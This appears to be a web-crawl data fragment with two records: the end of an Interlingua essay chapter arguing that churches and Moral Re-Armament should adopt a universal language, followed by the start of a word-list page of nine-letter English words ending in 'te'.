incognite) inter 'religiose' (pertinente al religion superior) e 'secular' (pertinente al societate, ex le qual emerge le religiones superior) - et apporta tamben le analogic distinctiones inter 'spiritual' e 'temporal' 'sacre' e 'profan'. Le religiones primitive non cognosce este distinctiones. Le religiones primitive contine multe elementos non-religiose. Un religion non pote esser liberate del elementos non-religiose, sin esser separate del societate. Totevia nulle forma de religion pote subsister sin un vehiculo social.\nLe fideles de un religion superior debe incorporar se in un nove societate, independente del societate, in le qual es nate le religion superior. Le correligionarios habe in commun le vision universal del Spirito Transhuman, o Fortia Creative. Este vision universal connecte, este vision universal approxima e liga le correligionarios disperse in le tote mundo, e illes senti le impulso interior de entrar in relation e association con omne homines, qui habe le mesme vision del Spirito Transhuman. De plus, illes mesme desira communicar lor vision a omne homines in omne partes del mundo. Tal es le natura human: nos desira mitter in commun con le alteres nostre tresor spiritual. Per consequente, le fideles de un religion superior constitue un nove specie de societate, le qual es, per su natura, missionari: le Ecclesia Universal. Le activitate missionari imbracia le tote mundo, si que le Ecclesia Universal adopta un lingua universal, e deveni un principal promotor del diffusion del lingua universal.\nTotevia, necun religion superior ha successe, finora, in conquirer le tote mundo. Nos ha quatro GRANDE RELIGIONES SUPERIOR: CHRISTIANISMO, ISLAM, HINDUISMO e BUDDHISMO. Ora nos ha tamben le BAHAISMO - simile al Islam e al Christianismo in le mesme tempore - un religion superior con milliones de fideles, religion que ja ha le programma de adoptar un lingua universal. Le linguas del diverse Ecclesias Universal non es commun, perque, in nostre tempore, nos non ha un lingua universal. Dunque le Ecclesias Universal continua a usar lor antique linguas liturgic (latino, koiné, arabe antique, sanscrito.) Un lingua universal commun pro omne Ecclesias Universal va promover lor avicinamento in amicitia, in interreligiose amicitate ecumenic.\nLe grande civilisationes non produce grande religiones superior como subproducto cultural. Al contrario, le grande religiones superior es le fundationes, super le quales le grande civilisationes son constructe. Nos non pote crear un religion durabile per medios rational. Le fallimento de Juliano Apostata, e del nobilissime tentativa de Ikhnaton es instructive. Religion nasce ex intuition et inspiration de animas successe per grande catastrofes - e sensibilisate per le inspiration transhuman - in consequentia del collapso de un grande civilisation habituate et amate.\nLe ration de esser del religion superior non es servicio de institutiones non-religiose, como le stato, le sistema socio-economic etc. Quando un religion permitte de esser usate pro scopos non-religiose, un parte de su fideles considera lo como sacrilegio, como falsification del scopo del religion, e passa al secession pro conservar le caracter strictemente spiritual del religion: le communion con le Transhuman (Presentia) Spiritual. Le attitude utilitari del religion es false. Religion es un scopo per se, proque religion concerne cosas plus importante pro esseres human que non importa qual altere cosa in le mundo. Tal es le explication del secessiones ex le ecclesias establite e, tamben, del nascentia de nove ideologias.\nNos ha viste que le mission de un religion superior es le connexion del individuo human con le Transhuman Presentia Spiritual. Le connexion del individuo con altere individuos es le consequentia indirecte del connexion del individuo con le Transhuman Presentia Spiritual. Le commun caracteristica del religiones superior es le credentia que omne homines son creaturas del Transhuman Presentia Spiritual, qui ama le homines como filios; dunque omne homines son fratres e non existe personas e populos privilegiate. De plus, le religiones superior insenia que le Transhuman Presentia Spiritual es plen de misericordia e de compassion pro omne homines - que omne homines pote arrivar a un interior vision del Transhuman Presentia Spiritual, e pote entrar in communion con Ille, pro que le capacitate de tal vision constitue le essentia del natura human. Le vision interior e le voce del conscientia da le conviction, que le experientia religiose superior non es un illusion, ma un realitate del vita human.\nLe contribution del religiones superior al education del humanitate, in le spirito del universalismo, tamben in le spirito de un moral universal es immense. Le spirito del universalismo del Ecclesias Universal es un antidoto efficiente contra le 'semine del dracon' (Cf. cap. II\/14). Ya, le religiones superior es immense fortias durabile, independente del civilisationes peribile, in le quales emerge le religiones superior e ibi son solidemente incorporate in societates independente de un nove specie - societates supernational et universal, qui besonia o ja ha le lingua universal.\nMulte homines son religiose sin sapar lo, sin facer parte de un communitate religiose. Este homines crede que le homine non es le plus alte esser in le universo, ma que existe un Spirito Transhuman, creator de toto. Totevia illes non crede que non importa qual religion superior possede le monopolio de veritat e salvation universal; illes crede, que omne religiones contine un parte del veritate preciose. Nos pote extraher leveritates e principios commun ex le religiones superior e unir les in un IDEOLOGIA. Un tal tentativa es le MORAL REARMAMENTO, constructe super le veritates-principios del HONESTATE, PURITATE, ALTRUISMO e del AMOR PUR. Nonobstante MRA non es un religion, ma un ideologia: illo non occupa se de functiones religiose, ma lassa al communitates religiose le obra de satisfacer le necessitates religiose del homines.\nSuccessos historic del religiones superior ha unite grande partes del humanitat in ecclesias e linguas universal - ma nunca reunite le tote humanitate. Al contrario: Le initial unitate religiose e lingual (specialmente in Christianismo et Islam) venit disrupte per schismas. Usque al Secunde Guerra Mundial le concurrentia inter et intra le ecclesias era aggressive: cata uno pretende de va esser le sol custode del ver e definitive revelation, e considerava su lingua universal quasi como sancte.\nPer tal exclusivitate le ecclesias superior deveni factores de division del humanitat. Ya, quando cinque ecclesias superior pretende haber le veritat exclusive, il es impossibile, que cada uno ha ration. Este impossibilitate, sentite per le publico, produceva scepticismo contra le pretentiones del religiones superior. Totevia, le scopo de omne religiones superior es le mesme: approximar le homine al Transhuman Spirito, qui crea et anima le fenomenos del universo. Este scopo identic es multo plus importante que le diversitate del stratas conducente al scopo identic.\nLe facto regrettabile, que in le passato le religiones non tolerava e non respectava le un le altere, insimul con le illumination scientific, ha causate un recession sensibile del religiositate. Totevia, le homine non pote viver sin religion - non importa qual specie de religion - proque religion, como nos ha viste supra, es un ingrediente essential del natura human. Per tanto, le recession del christianismo in le occidente provoca le apparition de substitutos de religion in forma de IDEOLOGIAS: nationalismo, individualismo e communismo, le quales son intolerante et exclusive, como le ecclesias era in le passato; nationalismo e individualismo es tamben fortias opposite al universalismo. Grande parte de homines adhere a un ideologia sincermente, durante que illes practica lor religion plus tosto formalmente. - Nos pote dicer, que nos vive in un epoca ideologic.\nLe ideologias non son surrogatos pro le religion superior, proque tamben le homine ideologic senti un fame del eternitate, del vita post le morte - e besonia le assistentia de un religion superior e transcendente, le gual prepara le homine al vita eterne, al communion con le Transhuman Presentia Spiritual. Pois, le corde human ha le desiro de cognoscer qual cosa sta (como principio creative e movente) detra le universo misteriose, in le qual le homine trova se.\nLe mente human, su spirito critic intellectual, sape, que le mente non pote satisfacer le desiro del corde; in vice, le religion superior pretende de explicar le misterio, al minus partialmente, gratias a revelationes inspirate per le Transhuman Presentia Spiritual. Totevia, tosto o tarde, le mente refusa le explicationes contrari al pensata rational, como a partir del secunde seculo a.Ch. in le mundo hellenic, e a partir del deceseptime seculo p.Ch. in nostre mundo occidental. De plus, durante que le pensamento occidental conquire le mundo non-occidental, tote le 'intelligentsia' del statos non-occidental refusa le irrational explicationes religiose - e lo que le intelligentsia pensa hodie, e le multitude va pensar deman. Dunque nos besonia rational explicationes religiose, credibile al homine moderne e satisfacente pro su fame transcedente. Este incapacitat es un grande chance del religiones pro recuperar le real e sincer adhesion del homines, si le religiones succede in eliminar le profunde causas del attitude sceptic. Le prime causa es le dominante pretension a un poter exclusive de preparer le homine al communion con le Transhuman Spirito. Le secunde causa es le insistentia super dogmatic formulationes incomprensibile al homines de education moderne scientific. Totevia, nos debe recognoscer que post le secunde guerra mundial quasi omne communitates religiose commencia a tractar le altere religiones con caritate plus-minus manifeste; un amicitat inter-religiose comencia a nascer. Nonobstante, le problema del dogmatic formulationes remane multo difficile a resolver, pro que le religiones superior considera certe interpretationes de dogmas como lor essentia maxime importante. Ora, sin esser teologo, le autor del presente studio non pote confirmar le supreme importantia de tal interpretationes, pro que su studios historic demonstra clar que le religiones era propagate per le fundatores e prime pioneros sin tal interpretationes - e que le formulationes dogmatic venit adjuncte multo plus tarde per le teologos e per considerationes filosofic, sub le influentia de filosofias antique. Per exemplo: le teologos christian formulava le dogmas fundamental in terminos del antique filosofias grec, in koine grec, si que illes ha introducte elementos del antique filosofias grec e del spirito del koiné in le expression dogmatic del message de Christo. Il es secur que tal expression era congenial al grecoromanos; ma ora, le filosofia grec non plus es congenial al homine presente, qui ha un filosofia multo differente. In consequentia le expression filosofic del dogmas christian debe esser reexaminate et interpretate in le terminos del filosofia presente, in un lingua moderne scientific.\nLe situation del interpretation dogmatic in altere religiones superior es analoge: omne dogmas son expresse in terminos plus-minus antiquate e non acceptabile per homines de moderne education scientific.\nSi tosto que le religiones va liberar se del interpretationes antiquate, le corde del homines moderne va esser plus vicin al religion, e tamben observatores critic constata que le original message del religiones superior es multo plus simile que le actual interpretationes dogmatic.\nEx contactos personal con sincer adherentes del christianismo, del islam, del hinduismo e del buddhismo, le autor del studio presente ha le experientia positive, que le adherentes de este quatro religiones superior son de complete accordo con le quatro principios moral del Moral Rearmemento (honestate, puritate, altruismo et amor pur) - et insiste que este quatro principios pertine al essentia de lor religiones, secundo le message de lor fundatores. Le causa de este fenomeno surprendente es, que le principios moral non son expresse in notiones e linguas filosofic, ma in simple sententias de lor fundatores, formulate in un lingua universal.\nAssi nos vide que, al minus in campo moral, non se trova admixte antiquate elementos filosofic. Dunque le accordo (al minus partial) con le homine moderne, e tamben le accordo (al minus partial) inter le religiones superior, es possibile. Ergo nos pote concluder, que le abolition del filosofias e del linguistic expressiones antiquate ex le interpretation del dogmas va producer un accordo analoge.\nLe veritate religiose nunca pote esser expresse in forma filosofic e linguistic definitive, ma debe esser formulate, de tempore in tempore, sempre de nove, in terminos filosofic e linguistic contemporan.\nLe humanitate ha le religiones superior desde duemille cinquecento annos. Tanto ha cambiate in le mundo post tante seculos, in le vita, in scientias et in filosofia. Expressiones importante in textos preciose sovente prende nove senso - dunque debe esser reexaminate. Le moderne interpretation debe esser facte in lingua universal pro evitar differentias inter le differente textos national.\nTamben inter religiones e ideologias nos pote observar un certe approximation:\nChristianismo moderne lucta pro libertat e dignitate del individuo, ma non insiste satis super le justitia social. Communismo lucta pro le justitia social, e neglige le libertat e dignitate del individuo. Ora, le christianismo comencia a insister super le justitia social, e le statos communista face progresso verso un major libertat e dignitate del individuo. Un commun lingua universal pro religiones et ideologias es necesse pro clarification e approximation del ideas.\nLe Ecclesia Universal Catolic senti le necessitate de un lingua universal e passa un bon momento, si id non recommenda le studio in omne planos. Introducente le lingua universal le Ecclesia facerea un passo positive in vision del vintesime seculo, passo exemplari que attirarà sequentias in le mundo positive.\nTamben inter le ideologias diverse, le approximation es un facto complite. Individualismo in su forma capitalista, e communismo in su forma collectivista, approxima se sensibilemente: capitalismo augmenta le planification e le controlo statal, durante que communismo adopta le 'economia del mercato', le concurrentia et altere principios del capitalismo. Nos pote sperar, que, economicamente, le due sistemas pote esser reducte a un commun denominator - specialmente si le comprension plus perfecte va esser possibile per medio de un lingua universal.\nIn contra, le nationalismo es ancora resistente a omne approximation. Le chauvinismo linguistic es ancora un facto; le nationalismo es ancora potente. In omne conflictos inter nationalismo contra religion, o nationalismo contra ideologia, le nationalismo prevale. Le christianos son, in prime linea, nationalistas, e solmente in secunde linea christianos: illes face guerras contra altere christianos. Le mesme cosa vale pro le communistas: le conflicto inter Russia e China es un conflicto pro interesses national, travestite per subtilitates ideologic. Nationalismo es le plus potente ideologia del presente - e le plus grande obstaculo contra le introduction del lingua universal.\nLe religiones superior, ultra lor concordias moral e spiritual, ha diverse temperamentos e attitudes psichic, ancorate in lor linguas universal. Christianismo pone maxime emfase super le sentimento - Islam super le poter, si que, pro christiano, DEO es amor, ma pro Islam, Deo es poter.\nHinduismo e buddhismo es plus filosofic. Sembla, que este diversitate non es objectionabile, pro que tamben le homines ha diverse temperamentos e attitudes psichic. Del resto, le historia demonstra que le unification de religiones et ideologias non es necessari pro realisar e mantener le unitate politic e linguistic, e que le libertate religiose et ideologic es un promotor de pace e tamben del consolation interior. Le conversion fortiate ad un religion o ideologia potente era sempre contraproducente: on extorqueva un conformitat insincer et exterior - et on alienava le animas; dunque on produceva disunion latente. Omne homines habe le derecto inalienabile a cognoscer omne grande messages spiritual e a creder lo que illes pote creder sincermente. Quando le homines pote viver secundo lo que illes considera como veritate (spiritual), illes son plus contente, plus pacific e plus unite con le alteres. De plus, omne homines ha le derecto de exprimer lor credo pro converter altere homines a lor 'credo' - fin quando le expression remane inoffensive e non servi a interesses politic e commercial. Inter tal conditiones, le religiones et ideologias pote procurar le maxime conforto spiritual al homines. Tal propaganda es un potente promotor del uso del lingua universal.\nLe lingua del religion non es le lingua del scientia, ma plus tosto le lingua del poesia, que veni ex le profunditate del psiche-subconsciente. Le expressiones linguistic del religion es sovente tentative e provisional, proque on non pote portar que imperfectemente le contento del psiche-subconsciente al psiche-consciente. Le DOGMA es un tentativa de exprimer le intuition religiose in le lingua del filosofia scientific. Le lingua del poesia es multo plus constante que le lingua scientific del filosofia: post 2500 annos le poesia grec es non minus belle que le poesia hodierne, contra que le filosofia grec es antiquate. - Ecce le causa profunde del facto, que le expression linguistic del message original del religiones superior non es sensibilemente antiquate, contra que le interpretationes dogmatico-filosofic es completemente inveterate.\nLe interpretation pro le homine moderne debe esser facte in un lingua universal moderne: le Ecclesia Universal debe parlar in le mesme tempore et in le mesme senso a omne homines de omne linguas. Le interpretation in linguas national va usar inevitabilemente elementos national (esoteric) e, sin voler, favora le disgregation del communitate religiose o ideologic.\nNos vide lo in nostre dies in le communismo marxistic, que comenica a disgregar se in ideologias de colorationes national: in Yugoslavia, China, Italia, Francia. Como le communismo non ha un lingua universal, le interpretation in un lingua national, e sia le plus potente, hic le russe, non sembla acceptabile al altere nationes communista.\nPost le quasi-elimination del latino, tamben in le Ecclesia nos pote observar le prime dissensiones inter le interpretationes national; dunque un periculo de perdir le universalitate. Le historia insenia nos, que le integration verso le lingua universal es sempre un signo de progresso, contra que le disintegration verso le linguas national es sempre un signo de regression.\nUn exemplo particular pro le importantia decisive del lingua universal es le MORAL REARMAMENTO (MRA) qui considera se como un ideologic communitat universal. Ora le MRA usa le anglese con preferentia, con traductiones in omne linguages national. Totevia, traductiones non pote esser plus que un approximation al original. Le plus grande parte del litteratura de MRA existe solmente in anglese; le disponibilitate de libros e revistas in altere linguas es sovente insufficiente. Multe moneta e labor es consumpte per traductiones. Le preponderantia del anglese irrita multe amicos del MRA, perque le nationalismo es ancora un sentimento multo forte - si que le MRA es considerate sovente como un ideologia anglosaxone. Le interpretation del absolute principios moral non es uniforme in le diverse linguas national - e non pote esser uniforme, pro un causa evidente: le parolas anglese son partialmente vehiculos de traditiones anglese. Le parolas de altere linguas non habe este traditiones anglese, ma seque traditiones differente. In tal situationes solmente un lingua universal pote portar remedio: un lingua commun sin elementos national esoteric, pro le tote communitate ideologic. Le adeptos del communitate va continuar a usar lor linguas national in lor relationes national - e va usar le lingua universal in le communitat ideologic universal. Textos uniforme et autentic in lingua universal va servir omne nationes equalmente.\nDel puncto de vista del futur lingua universal le Christianismo es specialmente interessante, perque le ECCLESIA CHRISTIAN ja habeva, successivemente tres linguas universal: aramaico, greco universal (koine) e le latino universal. Del resto, Abraham, grande patriarca del christianitata parlava akkadiano, le prime lingua universal del terra. Dunque le Ecclesia es le plus classic vehiculo pro le lingua universal. Ora, in consequentia del decadentia del latino, le Ecclesia besonia un nove lingua universal, si que le Ecclesia pote esser le plus probabile autoritate pro sanctionar le introduction de un nove lingua universal.\nDe plus, le Ecclesia es in curso de renovar su edificio spiritual, pro poter attraher omne homines in su gremio. Este ambition non es realisabile sin un moderne lingua universal. Assi, le futuro proxime del nove lingua universal pote esser determinate per le Ecclesia Catolic, viste le facto, que le lingua del parolas international es actualmente quasi in le stadio de \"lingua franca\" in experimentation. Le Ecclesia besonia un lingua intelligibile, comprensibile per omne fideles, ante toto per omne personas cultivate, como le latino era in le medievo. Le Ecclesia va excambiar su latino inveterate contra un nove latino, inricchite e simplificate, greco-latino que es le natural successor, le natural lingua universal moderne. Le resultato serà considerate como un 'AGGIORNAMENTO' del latino ecclesiastic. Le Ecclesia va cambiar su venerabile latino contra un 'latino moderne' como le Ecclesia ja ha cambiate le aramaico con koine e le koine con latino. Le reforma del latino debe esser un complete adaptation del lingua al pensata moderne. Le material linguistic pro le reforma del latino debe venir ex le linguas del cultura moderne, a fin que illes sia comprensibile per omne fideles in omne partes del mundo. Este material es ja collecte e standardisate per 27.000 parolas et elementos grammatic del lingua universal nascente.\nSecundo le ultime statisticas le ECCLESIA Catolic ha 585 milliones de fideles, 1765 episcopos, 235 mille prestres, 334 mille monacos, un million de monacas, 160 mille seminaristas, quaranta universitates, numerosissime scolas, missiones, organisationes del apostolato laic, institutos de cultura e de caritate, hospitales, nunciaturas, centros de dialogo con le non-christianos e con non-credentes. Un gigantesc institution universal! De plus, le Ecclesia es soveran e possede omne premissas e tote le autoritate pro introducer et usar le lingua universal nascente - que es jam immediatemente intelligibile per quasi omne fideles culte in omne partes del mundo. - Le Ecclesia va, in su proprie interesse, reexaminar de omne lateres, le question lingual post le perdita del latino. On dice, que le episcopos african specialmente regretta le latin. Con le latino illes habeva un certe contacto pan-african e con Roma. Si nunc on reimplacia le latino e face toto per le linguas moderne, Africa es bipartite anglo-francese, in ambe partes nemo estima le lingua del ex-colonistas, ancian dominatores.\nComo pote le Ecclesia - in su interesse - facer prime passos? Como face le organisationes international de scientias natural e del medicos: 'summarios in Interlingua' de certe articulos importante (scripte in latino o in lingua moderne). On va vider, que textos in 'latino aggiornate' son melio comprendite per le majoritate del lectores que illes in anglese, o francese, o latino moriente. Tal experientia basta forsan pro que circulos ecclesiastic va recommendar le studio de Interlingua in le scolas superior. Que face le Ecclesia? Attender lo que face alteres? Nulle altere organisation mundial ha non solo evidente avantages in le veniente lingua universal, ma ha anque evidente facilitates in usar la ja nunc, 'mini-experientia' - le lingua del parolas universal. Como nos, o forsan in punctos poco differente). Criterio es le 'comprensibilitate' immediate per personas de cultura general.\nIl es evidente que le Ecclesia va esser le 'matrina' del nove lingua universal multo plus probabilemente, que le UNO (united Nations Organisation) que labora con un decena de linguas (tante traductores ben pagate ha nulle interesse in un lingua univeral). Le Ecclesia es in un situation multo melior pro facer modeste uso, parve passos, pro facer cognite al mundo le lingua universal natural, e render grande servicio al tote mundo cultivitate.\nSin certe auxilio le lingua universal va venir (quasi) 'de se'. Ma passerà forsan per un prefase, in que le anglo-americano sembla o vole devorar toto. Pote le Ecclesia resister a tal tentation?\nLe historia del Reformation demonstra, que le Ecclesia Protestante, non usante un lingua universal, ma linguas national - ha disgregate se in ecclesias national. Le Ecclesia Catolic besonia le nove lingua universal pro conservar su unitate.\nTotevia, le historia demonstra que, pro poter attraher le homine moderne, le christianismo debe facer due concessiones multo importante: un negative e un positive:\n(1) Christianismo debe eliminar su elementos filosofic e linguistic non congenial al homine moderne - como un lingua, in curso de devenir lingua franc o lingua universal, elimina su elementos incomprensibile per le parlantes de altere linguas.\n(2) Christianismo debe incorporar elementos valide e preciose de altere religiones - elementos congenial al homine moderne - como le lingua, in curso de devenir franc o universal, incorpora elementos valide e preciose de altere linguas.\nQui cognosce le historia del christianismo, sape, que pro attraher le populos del civilisation hellenic, christianismo ha facte exactemente le due concessiones supranominate: illo\n(1) ha eliminate le esoteric elementos del judaismo, non cogenial al populos del civilisation hellenic, incluse le lingua aramaic, parlate per Christo mesme.\n(2) ha incorporate le cultural e filosofic elementos valide, preciose e congenial al grecoromanos, incluse le lingua grecoroman universal del epoca (primo koine, pois grecolatino).\nDunque le christianismo debe repeter su strategia spiritual, practicate in facie del mundo hellenic, con successo complete - debe repeter lo in scala ancora plus universal, imbraciante tote le mundo. Pro facer lo, christianismo besonia un lingua universal moderne e congenial al homines participante in le cultura mundial contemporan. Esto es possibile. E alora, qual probabilitate existe, que le strategia va esser coronate per successo?\nPro poter prognosticar, nos debe considerar que omne religiones - inclusive christianismo - ha perdite multo de lor influentia spiritual super le homines. Le grande majoritate del adherentes non practica le religion. Un minoritate practica le religion in maniera formal, habitual, exterior, sin haber le fide - sovente solmente pro presentar belle figura avante le gente, ben que il es un activo deperiente, si on insiste super un practica religiose, sin posseder le fide religiose. Un parte ancora minor ha le fide religiose, ma non vive integralemente secundo le fide. Solo un parte modeste vive integralmente secundo le fide. Solo un parte modeste vive secundo le principios moral e spiritual del religion.\nTotevia, le prime christianos ha conquisite le mundo grecoroman per medio del splendide exemplo de lor vita, secundo le normas moral de Christo, per que le moral del christianos era multo plus alte que le moral del non-christianos.\nIn le presente tal differentia del nivello moral quasi non existe plus: le christianos non son sensibilemente melior que le non-christianos. Pro conquirer le mundo, le christianos debe retornar al integral practica del normas moral de Christo - e tamben, diffunder le message de Christo in un lingua universal, congenial a omne homines participante in le cultura de nostre epoca, como le prime christianos faceva.\nComo nos ha viste: ultra le religiones tamben le IDEOLOGIAS determina le vita e le futuro de multitudes de nostre epoca. Le ideologias son un nove specie de fide, non incompatibile, ma plus tosto apparentate con le religiones. Secundo le definition del grande ideologo, autor e dramaturgo de nostre epoca PETER HOWARD (1908-1965): un ideologia es un fide, secundo le qual su adherentes vive in maniera si convincente, que lor exemplo conquire le cordes e mentes de altere homines. In nostre epoca, le multitudes es quasi plus loyal al ideologias que al religiones.\nUn Ideologia multo cognite es le COMMUNISMO, le qual ha le tendentia de devenir un agnostic contraparitate del christianitate. Communismo es apparentate al christianismo, proque illo considera omne homines como fratres - totevia, sin recognoscer le Patre celeste del fratres, como christianismo. Le cummunismo ha le ambition de conquirer le mundo - e illo ha ja conquiste quasi le medie parte.\nDifficultates eveni al communismo per le materialismo que divide le statos communista inter se. Communismo non ha un lingua universal, e dunque le discussion concernente le principios fundamental infuria se in le campo communista - a causa de explicationes differente in le linguas national.\nUn grande IDEOLOGIA de nostre epoca - minus cognite ma non minus importante - es le\nMORAL REARMAMENTO (MRA);\nillo es fundate essentialmente super le practica del absolute normas moral, commun in omne grande religiones de nostre epoca, e super le practica de meditation sistematic pro discoperir, in nostre consciente, le inspiration del Transhuman Presentia Spiritual. Le moral attitudes de nostre sistema economic e politic es sovente contrari al absolute normas moral: es dishoneste in le affaires, exploita le impuritate, fomenta le egoismo e le odio. Pro este ration MRA considera le difficultates de nostre civilisation como problemas moral, que debe esser resolute per le cambiamento moral del homines, per le developpamento de un melior tipo de homine. Como on non pote facer un bon omelette ex mal ovos, on non pote facer un bon societat ex mal homines. Solmente homines melior pote construer un mundo melior.\nMoral Rearmamento (MRA) non es un religion, ma un maniera de viver secundo le absolute normas moral (honestate, puritate, altruismo, amor pur). Nos debe haber absolute normas moral pro poter discerner clarmente inter bon e mal, ration e torto, juste et injuste. Le observation de normas moral es le condition indispensabile pro bon relationes inter homines. Le maniera de viver secundo le normas absolute pote unir omne homines super le mesme platteforma moral.\nMRA non es un 'organisation', ma plus tosto un grande 'familia' mundial, in rapide expansion global, proque le exemplo del adherentes conquire le homines moderne, como le exemplo de prime christianos ha conquisite le greco-romanos MRA es un grande sperantia pro le unification del mundo super un base moral universal. Totevia, tamben le familia mundial de un ideologia universal besonia un lingua universal - analoge al exemplo historic del Ecclesia Universal, le qual besoniava e habeva un lingua universal. Sin un lingua commun pro omne membros del familia mundial le ideologia risca de disgregar se in ideologias; risca de distintegrar se in ideologias national, in le quales le ideologia universal veni subordinate al nationalismo, le qual destrue le universalitate del ideologia universal. Nam le linguas national es troppo impregnate per elementos esoteric del cultura national, per le codice moral national e per le collective egoismo national. Dunque le expression del ideologia in lingua national face le ideologia minus congenial al altere nationalitates. Pro este ration le religiones superior exprimeva lor message e principios in lingua universal - e pro le mesme ration tamben un ideologia universal debe exprimer su message e principios in lingua universal.\nLe linguas national es troppo impregnate per elementos esoteric del cultura national, per le codice moral national e per le collective egoismo national. Dunque le expression del ideologia in lingua national face le ideologia minus congenial al altere nationes. Pro este ration le religiones superior exprime lor message e principios in lingua universal - e pro le mesme ration tamben un ideologia universal debe exprimer su message e principios in lingua universal.\nCONCLUSION[edit]\nNos es arrivate al fin de nostre studio. Como CONCLUSION nos pote tentar un PROGNOSTICO general:\n(1) Viste que le expansion de un grande cultura es sempre un precursor del nascentia de un Stato Universal, promoter e vehiculo de un lingua universal, e\n(2) viste que le cultura occidental trova se in fortissime expansion mundial, permeante omne altere culturas, e\n(3) viste que le invention del armas nuclear, le problema del alimentation del humanitat e altere problemas mundial impone al humanitate le creation de Soveran Autoritates Universal (precursores del Stato Universal Mundial), e tal autoritates va haber le soveran poter de introducer un lingua universal, e\n(4) viste que le Ecclesia Christian besonia substituer le latino per un lingua universal moderne, e le Ecclesia ha le soveran poter de facer lo, e\n(5) viste, que un lingua franc mundial de 27.000 parolas universal es in stato de nascentia, e\n(6) viste, finalmente, que sempre le lingua franc le plus comprensibile per omne homines culte fu promote a lingua universal:\nil es probabile, que le futur Soveran Autoritates Universal e le Ecclesia Christian va - un die - adoptar le nascente lingua franc mundial del 27.000 parolas universal e declarer le LINGUA UNIVERSAL de nostre epoca.\nAttendente este die omne personas et organisationes con interesse supranational o mundial.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/wikisource.org\/wiki\/Civilisation_e_lingua_universal\/Quarte_Parte\/Capitulo_8","date":"2020-08-10T05:46:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738609.73\/warc\/CC-MAIN-20200810042140-20200810072140-00081.warc.gz","language":"ina","language_score":0.9998463392,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.999846339225769}","num_words":6749,"character_repetition_ratio":0.082,"word_repetition_ratio":0.015,"special_characters_ratio":0.177,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":646.1,"cluster_detection":-1} +{"text":"Words Extracted From The\nMammoth Censored Word List (343,463 Words)\nMammoth Censored Word List (343,463 Words)\n9 letter words ending with te in the mammoth censored word list.\nThis is a list of all words that end with the letters te\nand are 9 letters long contained within the censored mammoth word list.\nNeed more resolution? Try our live dictionary\nwords ending with search tool\n1,137 Words\n(0.331040 % of all words in this word list.)\nabilitate ablactate abominate absorbate acanthite acclimate acetylate aciculate acidulate acquisite acrophyte actualite acuminate adenocyte adipocyte adsorbate adumbrate aerophyte aestivate affiliate affricate aggravate aggregate aglossate agrophyte albertite aletocyte aliterate alleviate almandite altercate alternate aluminate aluminite alumniate alveolate alveolite amazonite ambulette amebocyte ammocoete ammoniate amniocyte amourette ampholyte anabolite anamniote anchorite andradite androcyte anglesite anhydrate anhydrite anorthite antielite antiquate antistate antiwhite antophyte anucleate aphrodite apiculate apocopate appellate applicate approbate aragonite arbitrate archaeote arcminute argentite argillite arhbarite arriviste arseniate ascidiate ascorbate ashramite aspartate associate astrocyte asymptote atacamite athrocyte attenuate attribute aulophyte auspicate austenite autophyte autoroute babacoote bacchante backplate banquette barquette baseplate batholite bathylite bedlamite belemnite benitoite bentonite benzolate biathlete bicornate bidentate bifoliate bifurcate bilabiate bilobiate binervate biopirate bioxalate bipartite bipennate bipinnate birthdate birthmate birthrate biseriate biserrate bisulcate bisulfate bisulfite biteplate bivalvate bivariate bloquiste bombilate bombinate bookplate brachiate bracteate brecciate briolette briquette brochette brominate bryophyte busticate byssolite bytownite cabalette cabinmate calcarate calcinate calculate calibrate caliphate cancerate candidate cannulate caprylate capsulate captivate carbamate carbonate carburate carmelite carnotite caseinate castigate cataphote catholyte catkinate celebrate celestite cellulite cementite centonate ceonocyte cephalate cerebrate ceruleite cerussite ceylanite ceylonite chabazite chalybite charlotte checkbite checkmate cheralite chevrette chicalote chocolate chondrite cigarette ciliolate cingulate circinate circulate cirrolite citystate classmate clathrate clavulate clericate cnidocyte coadunate coagulate coarctate cobaltite coccolite cochleate coeducate coelomate coenobite coenocyte coffinite colligate collimate collocate columbate columbite columnate combinate comigrate comminate comminute commutate composite computate concreate confronte conjugate connotate consolate consolute consulate convocate convolute cooperate coprolite copromote corallite corollate corporate correlate corrugate corticate coruscate cotelette couchette couchmate coumarate courbette courgette covariate covellite crenelate crenulate crepitate criminate croquante croquette crossbite crossette crosssite cryophyte cucullate culminate cultivate cumaphyte cuspidate cyanurate cybernate cyclamate cyclonite cystocyte dawsonite deaconate deamidate deaminate deathrate debutante decantate decaudate deciduate declinate decollate decollete decussate defaecate defalcate deflorate defoliate degmacyte degustate dehydrate deinflate delectate delineate demarcate dementate demivolte denervate denigrate denitrate deoxidate depollute deprecate depredate desecrate desiccate designate desmacyte desmocyte desperate despotate despumate dessicate destinate destitute deuterate devaluate devastate diacetate diaconate dialogite dialysate dialyzate diatomite diazotate dichroite diffusate dihydrate dihydrite dilaurate dimidiate dinitrate dinophyte dioptrate dioxalate diphysite diplomate dirigiste disinvite dislocate dismutate disparate disrepute dissipate dissolute distraite disulfate dithelete divulgate doctorate dolabrate doorplate downstate drawplate duathlete duplicate ecarinate ectophyte ejaculate elaborate elaeolite elaterite eliminate elucidate elutriate emacerate embrocate emolliate encrinite endophyte enhydrite enstatite entophyte entrecote enucleate enumerate enunciate eparchate epaulette epidosite epoxidate eradicate erostrate erythrite escopette essayette estafette esthacyte ethanoate etiquette eucaryote euhydrate eukaryote evaginate evaporate evaporite eventrate eventuate examinate exanimate exarchate excarnate excaudate excoriate exculpate exfoliate exigeante exonerate exopodite expatiate expiscate explicate expurgate exquisite exsiccate extenuate extirpate extradite extricate exuberate fabricate faceplate falculate fascinate faveolate favourite fecundate fertigate festinate feuillete fibrocyte fibrolite fieldnote figurante fimbriate firegrate firstrate fishplate fistulate flabelate flagitate flavoxate flechette fleurette floodgate fluctuate flustrate fogramite foliolate footplate forcipate foretaste forficate formicate formulate formylate fornicate fortunate fossulate foveolate freewrite freewrote frizzante frostbite fructuate frustrate fulgurate fulgurite fullerite fulminate furfurate fustigate gangliate garagiste gehlenite gelignite gemmulate geolocate georgette germanite germinate geyserite gilsonite glampsite globulite glomerate gluconate glutamate glycerate glycolate gmelinite goldplate goniatite goslarite granitite granulate granulite gratinate gratulate gravesite gravitate guttulate gymnocyte habituate haematite haemocyte halophyte handwrite handwrote hariolate headplate hectobyte heelplate helictite helophyte hercynite hessonite hetmanate 